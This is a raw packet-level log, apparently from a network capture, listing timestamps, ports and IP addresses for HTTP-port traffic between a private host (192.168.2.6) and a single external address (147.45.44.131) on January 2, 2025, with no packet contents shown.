Jan 2, 2025 19:14:16.615812063 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615812063 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615863085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.616144896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616159916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616173983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616308928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616314888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616326094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616331100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616343975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616349936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616360903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616367102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616373062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.616374016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616373062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.616384029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616389990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616393089 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.616395950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616408110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.616410017 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.616461992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.616501093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.618777990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618860006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618865967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618877888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618882895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618890047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618906021 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.618923903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618931055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618942976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618948936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618954897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.618963003 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.618988037 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.619050980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619056940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619062901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619064093 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.619067907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619107008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619113922 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.619151115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619157076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619167089 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619173050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619174004 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.619188070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619189978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619199038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.619236946 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.619262934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.623073101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623159885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623166084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623181105 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.623184919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623189926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623203039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623215914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623223066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623229027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623229027 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.623235941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623240948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623246908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623275995 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.623275995 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.623311043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623342037 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.623353004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.623383045 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.626616955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626802921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626816034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626821995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626832008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626837969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626843929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626849890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626854897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626861095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626866102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626872063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626876116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626887083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.626893044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.626929045 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.626959085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.627203941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627289057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627295971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627306938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627317905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627326012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627332926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.627345085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.627404928 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.632262945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632299900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632404089 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.632427931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632488012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632493973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632499933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632509947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632522106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.632529020 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.632803917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.633322954 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.633335114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.633341074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.633346081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.633358955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.633379936 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.633472919 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.634013891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634020090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634026051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634031057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634037018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634073019 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.634121895 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.634713888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634776115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634782076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634789944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634793997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.634816885 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.634965897 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.639106989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639112949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639118910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639164925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639170885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639178038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639189959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639197111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639197111 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.639230967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.639298916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639305115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639323950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639338017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639343977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639390945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.639390945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.639390945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.639409065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639415026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.639518976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.642576933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642585993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642596960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642632961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642637968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642646074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642651081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642657995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.642671108 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.642729044 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.642729044 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.643532038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643565893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643570900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643652916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643659115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643668890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643673897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.643719912 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.643800020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643805981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643817902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643824100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643829107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643834114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643846989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643851995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643898964 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.643928051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643940926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643945932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643955946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643961906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643966913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643970966 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.643971920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643982887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.643996000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644006014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644011974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644033909 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644149065 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644279957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644285917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644292116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644298077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644304037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644309044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644320965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644325972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644331932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644345045 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644345999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644357920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644431114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644437075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644449949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644454956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644470930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644519091 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644576073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644582033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644593000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644604921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644610882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644617081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644622087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644628048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644633055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644639015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644644976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644650936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644650936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644665956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644814014 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.644819975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644826889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644839048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644874096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644881010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644886971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.644917965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.645004988 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689083099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689099073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689105034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689178944 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689183950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689192057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689204931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689212084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689210892 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689224958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689240932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689243078 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689246893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689259052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689261913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689268112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689274073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689280033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689284086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689313889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689313889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689313889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689316988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689322948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689331055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689352989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689400911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689414024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689419031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689424992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689431906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689439058 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689479113 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689515114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689573050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689577103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689583063 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689589977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689644098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689650059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689661980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689677954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689688921 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689688921 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689691067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689701080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689704895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689732075 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689764977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689764977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689779043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689785004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689798117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689802885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689815998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689821959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689829111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689857960 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689877033 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689877033 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689891100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689896107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689902067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689908981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689915895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689939976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689945936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689960003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689964056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689968109 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689968109 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689990044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.689990997 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.689995050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690023899 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690047979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690078020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690102100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690108061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690119982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690125942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690136909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690171003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690185070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690184116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690184116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690193892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690200090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690211058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690217018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690221071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690253973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690258980 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690258980 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690269947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690284967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690289974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690294981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690296888 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690300941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690311909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690316916 CET	80	49727	147.45.44.131	192.168.2.6
